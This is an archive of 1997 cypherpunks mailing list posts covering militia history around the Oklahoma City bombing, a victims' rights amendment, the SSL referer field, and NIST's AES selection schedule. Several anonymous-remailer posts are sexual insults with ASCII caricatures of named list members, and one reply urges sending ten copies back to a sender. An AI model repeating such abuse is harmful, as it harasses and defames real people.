From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 17 Apr 1997 20:37:52 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Meet-in-the-middle attack
In-Reply-To: <199704180059.UAA18780@dhp.com>
Message-ID: <Pine.A41.3.95.970417213552.83346C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Thu, 17 Apr 1997, lucifer Anonymous
Remailer wrote:

> Tim Maya studied yoga back-streching exercises for five years so 
> he could blow himself (nobody else will).
> 
>            /\
>         __/__\__
>          | 00 |  Tim Maya
>         |:  \ :|
>          | \_/|
>           \__/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 19:12:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Meet-in-the-middle attack
Message-ID: <199704180211.WAA23849@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto Homo studied yoga back-streching exercises for five years so
he could blow himself (nobody else will).
 
            /\
         __/__\__
          | 00 |  Tot[hom]o
         |:  \ :|
          | \_/|
           \__/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 00:12:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "Get out of Denver"
Message-ID: <199704180712.AAA28624@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> >  It's an open secret that McVeigh timed the bombing to coincide
> >with the execution of a fellow militant from the Elohim City
> >cabal. Who says mad bombers aren't sentimental?
> 
> There are _several_ anniversaries that day. I dispute your notion that you
> know which of them was the bombers' main motivation. Here are some of the
> main anniversaries;
> * Waco roast (and McVeigh has written much about Waco, and was there for
> the first anniversary, in '94)
> * the execution you mentioned> 
> * a major raid in Arkansas 10 years earlier
> * the battle of Lexington, in which the British attempted to disarm a
> civilian militia

  You are certainly correct about McVeigh's main focus of discontent 
being the Great Texas Barbecue in Wacko, but his choice of targets was
the same one Richard Snell had targeted.

  As MediaFilter reported:
The March edition of Taking Aim, the newsletter of the Militia of
Montana, issued a call
to arms for April 19, the day of the Oklahoma blast: 

     "If this day does not ring a bell for you then maybe this will jog
your memory.
     1. April 19, 1775: Lexington burned.
     2. April 19, 1943: Warsaw burned.
     3. April 19, 1992: The feds attempted to raid Randy Weaver...
     4. April 19, 1993: The Branch Davidians burned.
     5. April 19, 1995: Richard Snell will be
     executed_unless we act now!!!"

Federal prosecutors in (Richard Snell's) the '88 trial claimed that the
'83 
plot_which included counterfeiting, armed robberies and plans to
assassinate
federal judges and the Arkansas FBI chief_was to begin with the
detonation of 
a truck bomb at the Oklahoma City Federal Building. 
All of the defendants were acquitted. But that very same building would
be 
blown up by a truck bomb on the very day of Richard Snell's execution.

Snell died knowing of the explosion. 
His last words were a warning to Arkansas Governor Guy Tucker: "Look
over 
your shoulder, justice is on the way..." 

  The Feds are well aware of the significance of launching their
offensives
against the militia on certain dates, sending deliberate messages to
them
by doing so, and the setting of Snell's execution date for April 19 was
no coincidence.
  When the Feds pre-date search warrants and other documents
(proclaiming
to judges that it is needed to protect informants and sources), they
often
use signifigant dates and times, like the 9:02 of the OKC bombing (as in
Jim Bell's search warrant).

  If you draw a chart co-relating the militia's actions with the Fed's
actions, you get a picture somewhat similar to the truces in the Civil
War, among others, where the soldiers would come out of the trenches
to exchange goods and pleasantries, before digging in once again to 
resume their warring.
  Perhaps after the trial is over (if it gets that far), we will see
a TV ad where the Feds and the militia get together in a bar afterward,
and a theme of, "Now comes Miller time."

> (And Hitler's birthday is the next day.)

Adolf Hilter's birthday is annually celebrated with a barbecue by David
Duke
and friends.
  (No wonder the Feds burned Waco on the 19th. They had another barbeque
to
attend the following day.)

  And how does all of this relate to cryptography? Glad you asked.

MediaFilter continues:
However, in 1995, the Clinton administration is conveniently using the 
Militia to justify beefing up the federal police state apparatus. 
Also watch out for the pending Communications Decency Act and 
Orwellian_named Electronic Communications Privacy Act, which would make
censorship and surveillance the rule in cyberspace. 

  Perhaps at an upcoming cypherpunks physical meeting the milita
could be invited and the theme could be "Trading Guns for Crypto."
  (It would have to be arranged quietly, however, so as not to
draw too much attention. Perhaps if the arrangements were limited
to discussion only on the cypherpunks list...)

TruthBomber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 18 Apr 1997 02:52:14 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: [rant] Re: Any info on the "Victim's Rights" Constitutional  amendment?
In-Reply-To: <3.0.1.32.19970418013850.027bd660@postoffice.pacbell.net>
Message-ID: <335742F6.4963@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles, whose rants seem to be more informative and
entertaining than his legal opinions, and who could be the
Johnny Cochrane of the McVeigh trial, wrote:
 
> At 09:22 PM 4/17/97 -0700, Alan Olsen wrote:
> >Yesterday i saw a report on one of the news websites about Clinton pushing
> >for some sort of Victim's Rights Constitutional amendment.
> >
> >Does anyone have any additional details on this?
> 
> Sens. Feinstein and Kyl are co-sponsoring this amendment. To become part of
> the Constitution, it must be approved by a 2/3 majority in both the House and
> the Senate, then be ratified by 38 state legislatures. According to Kyl's web
> page, this is the text of the proposed amendment:
> 
> Section 1. To ensure that the victim is treated with fairness, dignity, and
> respect, from the occurrence of a crime of violence and other crimes as may
> be defined by law pursuant to section two of this article, and throughout the
> criminal, military, and juvenile justice processes, as a matter of
> fundamental rights to liberty, justice, and due process, the victim shall
> have the following rights: to be informed of and given the opportunity to be
> present at every proceeding in which those rights are extended to the accused
> or convicted offender; to be heard at any proceeding involving sentencing,
> including the right to object to a previously negotiated plea, or a release
> from custody; to be informed of any release or escape; and to a speedy trial,
> a final conclusion free from unreasonable delay, full restitution from the
> convicted offender, reasonable measures to protect the victim from violence
> or intimidation by the accused or convicted offender, and notice of the
> victim's rights.

  We've already got this in Canada. Now the focus has shifted even 
further against the accused, with great outcry about the fact that
the accused are causing great emotional grief to the victims and
their families by being so bold as to try to defend themselves 
from the often irrational assaults on the accused and/or convicted.
  There is talk of further legislation which would effectively make
all perceived victims angelic creatures and all perceived criminals
violent, drug-dealing, commie-pinko perverts with no right to defend
themselves. (And this is just on the jaywalking charges. Any more
serious offences will increase the imbalance of judical powers to
suppress the defence.)


> (The rights of defendants
> pretrial aren't what you'd expect if you've been to a public high school and
> have heard the nice stories about "innocent until proven guilty".  Accused
> persons in criminal cases face serious restrictions on their liberty before
> they're even formally charged; these changes are not new.
> 
> The amendment will also likely result in less accurate trials and less
> preparation on the part of defense counsel, because it gives the "victim" a
> right to a speedy trial. This is bad for defendants, because it denies them
> meaningful due process, and it's bad for victims who want "closure" because
> it's likely to result in retrials when the due process was so crappy that the
> trial didn't meet even the relatively lax standards of the Rehnquist court.
> But, hey, it sounds good on TV.

  It shouldn't be long before "True Stories of the Highway Patrol" is 
immediately followed by C-Span legislative sessions enacting new 
legislation to deal with the perpetrators just apprehended, with 
"Night Court" immediately following, wherein the defendants are
judged and sentenced.
 
> We (as a society) need to decide if we want criminal trials to be about
> trying to decide (beyond a reasonable doubt) whether or not someone's guilty
> of a crime, or if we want them to be satisfying emotional soap-opera-style
> theatrical pieces. This victims' rights crap (and the recent legislation
> passed, *specifically intended to overrule the decisions of the judge
> presiding over the Oklahoma City bombing trial*, as well as recent changes to
> the California Evidence Code making it easier to admit evidence about prior
> bad acts by defendants and otherwise inadmissible hearsay by "victims") does
> a good job of moving us closer to the latter, but if that's what we want I
> don't see why we don't just abandon trials entirely and simply torture people
> who look like they're probably criminals until they die or confess. (and then
> we kill them; after all, they confessed.)

  You mean like they do in Texas?

> I think it's very, very bad to get so excited about punishing someone in an
> emotionally or symbolically attractive fashion that we screw up trials, which
> are intended to ensure that innocent people don't get punished. If we make it
> difficult or impossible to get a fair trial, the only thing standing between
> any of us and prison (or worse) is dumb luck and our ability/willingness to
> remain in the good graces of the current powers that be.

  A good point, but your putting it in a future tense indicates that
you don't get out enough. (Which is not a criticism, since I'm staying
in a lot more, myself, these days. I'm afraid of getting shot by a
cop while running from a criminal, or vice-versa.)

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 18 Apr 1997 00:59:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Son of Flubber
Message-ID: <199704180759.DAA26834@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote: 
> At 02:50 PM 4/17/97 -0700, Kent Crispin wrote:
> >I note that on the network news this morning an AF spokesman very
> >painstakingly assured his questioner that there was absolutely no
> >evidence of any kind that the missing pilot had any connection
> >whatsoever with any militia groups.
> 
> Neither did Tim McVeigh. He went to a militia meeting once. They told him
> to get lost and never come back. In fact, the only common thread amongst
> the Oklahoma City bombing suspects seems to be their (past?) service in the
> US military. Come to think of it, that's one thing they have in common with
> the missing bomber pilot.

>From MediaFilter:
In October 1992, two months after the Weaver surrender, Pete Peters, a 
Christian Identity minister in Colorado, called a meeting of some 175 
radical right leaders. Among those in attendance were Aryan Nations 
ambassador Louis Beam and his lawyer, Kirk Lyons of North Carolina.
   
Also in attendance was former Virginia legislator and Gun Owners of 
America leader Larry Pratt, who advocated "armed militia units" like
those 
in Central America. Beam presented a paper to the meeting called
"Leaderless
Resistance", which called for small autonomous cells united by ideology
but acting independently.

This became the model for the Militia movement_and perhaps for Timothy 
McVeigh and his co_conspirators.

  Perhaps the great outcrys of "Timothy who?" that came from many
parts of the militia were similar to the similar cries of "Jim who?"
after Jim Bell's troubles.

TruthWho?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tbs@netgo.net
Date: Fri, 18 Apr 1997 09:50:50 -0700 (PDT)
Subject: maps
Message-ID: <B0000072426@brain.now.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Fri, 18 Apr 1997 08:24:12 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Missing Jet [update]
Message-ID: <3.0.1.32.19970418112443.007c1930@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Subject: Re: Missing Jet
>Date: Fri, 18 Apr 97 09:33:05 -0400
>x-sender: jordan1@macandco.com
>From: Jordan <jordan@macandco.com>
>To: "Alec" <camcc@abraxis.com>

Update:

http://cnn.com/US/9704/17/missing.warplane/index.html

jmcc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 18 Apr 1997 17:42:50 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: State of the Nation
Message-ID: <199704181143.MAA11601@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Introducing....
The State of the Nation Issue of Shift Control

If aliens landed in Britain with the aim of finding out what's up these days, 
they'd be in for a confusing time. Politicians - our leaders - are being chased 
by headless chickens and hacks on smack, while other hacks rage against "sleaze"
and try to be politicians themselves. Unemployment figures are down, though they 
might be up. Ministers disagree with their parties while simultaneously agreeing 
with their parties. When we think we're eating lamb we might be eating beef. 
And millions of people buy Spice Girls records. It'll take more than a fancy 
spaceship to figure out the state of the nation these days.

Undaunted, we decided to have a go anyway in this week's issue of Shift Control. 
We've asked Johnny Foreigner to give us an outsider's view of Britain; citizens 
of Middle Britain send us postcards profiling life in their home towns; Robin 
Hunt tries the statistical approach in the hope of finding some coherent 
indications as to where the country's heading; and Rada Petrovic explores her 
local haunt - Kentish Town, London - as a microcosm of the nation. Plus our 
quiz asks: how wild are you about Britain?

Also this week: the usual mountain of humour and perspicacity, including more 
memoirs from Freebee (our resident rock historian), new fiction from Miles 
Gregory, and, if you're quick, details on how to obtain free tickets to the 
fourth annual Unconvention in London.

Shift Control: in a fine state and waiting for you at:
http://www.shiftcontrol.com

Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry.

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 13:47:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Firewalls
Message-ID: <199704182047.NAA15773@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


When Timothy C. May's mother gave birth to him 
after fucking with a bunch of sailors, she 
didn't know who the father was but decided to 
tell him that he was a Russian as the Russian 
sailor was the one who satisfied her the most.

      \\///
      |O O| Timothy C. May
      | ( |
      |_@_|
        H





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 14:17:37 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Advocating Violence
Message-ID: <199704182117.OAA16660@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: paul@fatmans.demon.co.uk
>To: Kent Crispin <kent@songbird.com>
>Date: Fri, 18 Apr 1997 15:17:29 +0000
>Subject: Re: Advocating Violence

Paul said:

> > You may well argue that my idea of rights is a misinterpretation, I 
> > could give you a number of examples of why this is not so.

Kent said:
> 
> More likely I would argue that your idea of rights is simply a
> religious belief, and, like many zealots, you confuse your beliefs 
> with reality and reason.


Kent, you smug and arrogant pampered child! To denigrate another because he _may_ have ideas based on religious beliefs is a typical of your ad hominem style of argument. Nothing Paul has said would mark him as a zealot, which term you use too loosely and unwittingly.

"Reality and reason?" You who have recently implied that the death camps of Europe are not a part  of the reality of the 20th century.

Previously I had pitied you for continuing to bash your head into a wall with your specious arguments thinking it was mere stupidity! Not stupidity honestly come by, but abysmal ignorance nurtured by one who sits isolated and ignorant on his ivory tower.

With a certain satisfaction I see now that all the dung heaped upon you and your vacuuous logic is honestly earned and completely deserved.

If I did not weep for the educational system which _produced_ you, I would laugh at you.

TruthMonger #20


 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Hughes <eric@sac.net>
Date: Fri, 18 Apr 1997 14:31:47 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Proposed Addendum to International Standards
Message-ID: <3.0.32.19970418143141.0081f7e0@www.internal.sac.net>
MIME-Version: 1.0
Content-Type: text/plain


I was, for some reason, browsing ISO two letter country codes today and
came upon such oddities as

EM	Office for Harmonization in the Internal Market (Trademarks and Designs)
(OHIM)

So I decided we needed some new ones, since it wasn't just for countries
anymore.

CB	Cyberspace
CP	Cypherspace

Cyberspace, the domain of electronic communication.  Cypherspace, the
domain of encrypted and untraceable electronic communication.

Do you think we can get ISO to approve it?

Better yet, do you think we could get some of those oval stickers like you
see on European cars?  I'm sure Ian will want some little ones for his Pilot.

And now all we need is an ISO 639 natural language identifier for
ciphertext.  How about "xx"?

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 18 Apr 1997 15:30:55 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Advocating Violence
In-Reply-To: <199704182117.OAA16660@fat.doobie.com>
Message-ID: <19970418152904.27311@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, Apr 18, 1997 at 02:17:34PM -0700, Huge Cajones Remailer wrote:
[Some stuff I will ignore.  But one thing I want to address.]

>"Reality and reason?" You who have recently implied that the death
>camps of Europe are not a part of the reality of the 20th century. 

Nonsense.

[...]

>With a certain satisfaction I see now that all the dung heaped upon
>you and your vacuuous logic is honestly earned and completely
>deserved. 

As Bill Frantz so aptly stated, dung comes from assholes.  

(Of course, Bill does not speak for me, and I do not speak for him.)

>If I did not weep for the educational system which _produced_ you, I
>would laugh at you. 

You should laugh.  It's good for the soul.

> TruthMonger #20

"Not your everyday Turbine Ventilator."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 18 Apr 1997 14:00:14 -0700 (PDT)
To: "Wesley Felter" <wesf@mail.utexas.edu>
Subject: Re: SSL weakness affecting links from pa
Message-ID: <199704182100.RAA19542@life.ai.mit.edu>
MIME-Version: 1.0
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As the person who invented (and mispelt) the referer link I don't
agree
with the arguments made against it. The purpose of the referer link is
to allow servers to collate pages of backlinks. This would make the
Web browsable in both directions.

I could never understand why Netscape supported the facility in the 
browser without also supporting the capture functionality in the
server. Its a simple matter to add support but they seem uninterested.

Of course there should be a toggle to allow users to turn off the 
referer field. I tried to get a recomendation to do this put into the
spec. People then started shouting at me saying that it was impossible
to enforce and so the recomendation shouldn't be there. Quite
what the relevance of 'encforcement' is I don't know.


Then they started jamming stupid ideas like cookies into the spec,
ideas that showed all of five minutes thought.


 
>Which was my original point. I'd even be willing to *pay* for a cert,
but
>not more than about $15. I just find it odd that I can get SSL server
>software for cheaper than I can get a license to operate said
software.
>Hey Verisign, why don't you offer a Class 1 server certificate?

The manner in which SSL is designed means that it requires a degree
of trust in the certificate. Allowing the browser to automatically
accept
a class 1 cert would be somewhat foolhardy. Because someone put
that damn key on the bottom of the browser some people expect there
to be security. Instead they get encryption which ain'tquite the same 
thing.

There is nothing to stop you using a non standard cert with SSL
however.
I use Apache with a cert I wrote myself.

    Phill




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Web FormPAL<sales@munica.com>
Date: Fri, 18 Apr 1997 14:20:10 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Web Tools and Resource Download
Message-ID: <199704182120.RAA20585@genco.webdevelop.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 18:00:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704182100.RAA19542@life.ai.mit.edu>
Message-ID: <9uRD6D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
> As the person who invented (and mispelt) the referer link I don't
(binary nonsense snipped)

$1 to Sinn Fein - thank you.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 18:00:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Xs4all website censored by German academic network (fwd)
In-Reply-To: <3.0.1.32.19970418151153.006795a0@popd.ix.netcom.com>
Message-ID: <RXRD6D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 03:17 PM 4/18/97 +0000, paul@fatmans.demon.co.uk wrote:
> >This comes as rather topical actually as I believe, if memory serves,
> >that Radikal is a right wing racist publication? -
>
> Actually, it's a far-left anti-racist group's publication.
>
>
> Does anybody know if Germany has a tradition of "academic freedom"
> which could be waved at the network administration that's doing
> the censorship?

Germany has a tradition of hounding Jews out of their universities,
for which the U.S. Universities were most thankful in the 1930s.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Fri, 18 Apr 1997 19:14:25 -0700 (PDT)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Meeting Report: "Developing the Advanced Encryption Standard"
In-Reply-To: <199704182351.TAA25998@life.ai.mit.edu>
Message-ID: <v0300780eaf7dc63ab15e@[206.11.192.185]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:57 PM -0500 4/18/97, Phillip M. Hallam-Baker wrote:
>
>>  Regarding computational efficiency, NIST will favor
>>efficiency on 32-bit processors and short key-setup time, will test
>>efficiency on a little endian processor, and will publish the specs of
>>the test system.
>
>  This seems misguided IMHO. The current trend is towards 64 bit
>processors and the inefficiency of using only half of a 64 bit processor
>seems to me to be somewhat more serious than the hassle of having
>to kludge up 64 bit operations on a 32 bit processor. The most likely
>platforms are 64 bit and 8 bit (embedded systems such as cellular).

I agree that testing on a 32-bit machine is kind of dumb.  I also think
that testing it on a 64-bit machine is just as dumb.  We're talking about
a standard that will be with us for 20-30 years; whatever the current
archetecture is, it will be outdated before the standard is.

The lessons of computer are:  the high end always gets faster, and the
low end never goes away.  Anything will run fast on the high end, if not
now then in a generation or two.  We need something optimized for 8-bit
smart card processors.
>
>> They also encourage two submissions: reference (possibly in
>>Java) and optimized (in C).  Regarding memory requirements, NIST will
>>measure memory requirements for C implementation on a single reference
>>platform (presumably a Pentium Pro), although submitters are welcome to
>>provide results for other platforms.
>
>Thats also a somewhat limited approach. The x86 familly is getting long
>in the tooth. Intel themselves have it scheduled for replacement in 1999.
>The architecture is very much compromised by backwards compatibility
>with the CISC instruction set. A mixed bag of AXP, Pentium PRO and
>commodity embedded processors popular in VLSI cell form such as
>Z-80, 6502 and 680x would be more reasonable.

Again, all that matters is the low end.

>My concern is however that the starting gate closes too soon. 6 months
>is too little time to start something entirely new. But I would not be
>suprised if there was an extension. But unless people know in advance
>there will be one it means that they find out in six months time that
>they have six months to sumbit and algorithm.

We discussed that.  If a group thinks they have six months to develop
something new, they might decide not to even both.  Then, if there is
a six-month extension, we haven't gained anything.  I argued that a full
year should be given.

That's why I want triple-DES approved now, and then to let everyone take
their time with AES.

Bruce

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 18 Apr 1997 16:51:38 -0700 (PDT)
To: "Bruce Schneier" <schneier@counterpane.com>
Subject: Re: Meeting Report: "Developing the Advanced Encryption Standard"
Message-ID: <199704182351.TAA25998@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3953.1071713693.multipart/signed"

--Boundary..3953.1071713693.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


>  Regarding computational efficiency, NIST will favor
>efficiency on 32-bit processors and short key-setup time, will test
>efficiency on a little endian processor, and will publish the specs of
the
>test system. 

This seems misguided IMHO. The current trend is towards 64 bit
processors and the inefficiency of using only half of a 64 bit
processor
seems to me to be somewhat more serious than the hassle of having
to kludge up 64 bit operations on a 32 bit processor. The most likely 
platforms are 64 bit and 8 bit (embedded systems such as cellular).


> They also encourage two submissions: reference (possibly in
>Java) and optimized (in C).  Regarding memory requirements, NIST will
>measure memory requirements for C implementation on a single
reference
>platform (presumably a Pentium Pro), although submitters are welcome
to
>provide results for other platforms.  

Thats also a somewhat limited approach. The x86 familly is getting
long
in the tooth. Intel themselves have it scheduled for replacement in
1999.
The architecture is very much compromised by backwards compatibility 
with the CISC instruction set. A mixed bag of AXP, Pentium PRO and
commodity embedded processors popular in VLSI cell form such as 
Z-80, 6502 and 680x would be more reasonable.

>It was pretty much
>universally thought that this schedule is wildly optimistic.

Like design a new cypher in 6 months?

>NIST has a hard time figuring out how to measure hardware efficiency.
>They'd like to have definitive metrics (like there will be for
software)
>but are unwilling to force submitters to provide VHDL code, or gate
counts,
>or whatever.

Hardware is likely to cover a wide range of uses. The number of gates
for
DES in an ultra fast, `unwound' implementation is many more than a
n
iterator using the same gates for each round.

>NIST talked about what to do about "tweaking" algorithms after
submission.
>What if a break is found, but a simple fix prevents the attack?  What
if
>someone submits an algorithm and someone else proposes a tweak? 
These
>questions were not answered.

Surely this just menas that the tweakers get credit?

>But is there enough time for people to invent strong 128-bit block
ciphers?
>Probably not.  One alternative is to take existing 64-bit block
ciphers,
>and then use a 4-round Luby-Rackoff construction to create a 128-bit
block
>variant.  Another is to give people more time.  Both were talked
about.  I
>would like them to approve triple-DES as an interim standard, and then
take
>all the time they need for a secure 128-bit block cipher.


I suspect the assumption made is that the time table will slip. My
concern is 
however that the starting gate closes too soon. 6 months is too little
time
to start something entirely new. But I would not be suprised if there
was
an extension. But unless people know in advance there will be one it 
means that they find out in six months time that they have six months
to sumbit and algorithm.

I've seen this type of delay a lot in the IETF standards arena. The
working
group starts by assuming it has too little time to do something new
then
spends far longer plugging up holes in a broken plan.

Phill




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A1UEChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNz
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99OmXBo+DmWlRAb2B7IXvplmq1f/JyDbF1ZXSXnuoAv3i9j4KEv+2FbSoyTG
lo10tw==
--Boundary..3953.1071713693.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 18 Apr 1997 19:11:03 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ANNOUNCEMENT] Firewalls
In-Reply-To: <199704182047.NAA15773@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970418201011.56154O-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 18 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> When Timothy C. May's mother gave birth to him 
> after fucking with a bunch of sailors, she 
> didn't know who the father was but decided to 
> tell him that he was a Russian as the Russian 
> sailor was the one who satisfied her the most.
> 
>       \\///
>       |O O| Timothy C. May
>       | ( |
>       |_@_|
>         H
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 18 Apr 1997 17:42:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: InterNet Free Terra
Message-ID: <TCPSMTP.17.4.18.-12.35.10.2780269260.1609377@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here are some more mirror-sites of the anarchist
"Radikal"-magazine:

> http://huizen.dds.nl/~tank/radikal
> http://burn.ucsd.edu/%7Eats/RADIKAL/
> http://www.jca.or.jp/~taratta/mirror/radikal/
> http://huizen.dds.nl/~radikal/154/
> http://www.canucksoup.net/radikal/index.html
> http://www.ecn.org/radikal
> http://www.well.com/~declan/mirrors/
> http://www.connix.com/~harry/radikal/index.htm
> http://www.anok4u2.org/radikal/
> http://www.denhaag.org/~radikal
> http://emma.unm.edu/radikal
> http://www.tacacs.com/radikal/"
> http://users.abcs.com/dockmstr/mirror/radikal/index.htm
> http://home.ipr.nl/~radikal/
> http://www.ibmpcug.co.uk/~irdial/live_free/
> http://zero.tolerance.org/radi/index.htm
> http://www.meaning.com/library/radikal/
> http://www.wfmusic.fi/~toni/radikal
> http://www.euronet.nl/users/funest/radi/index.htm
> http://www.lab.net/radikal
> http://www.charm.net/~gbarren/radikal
> http://login.datashopper.dk/~pethern/not_by_me_not_my_views/radikal/
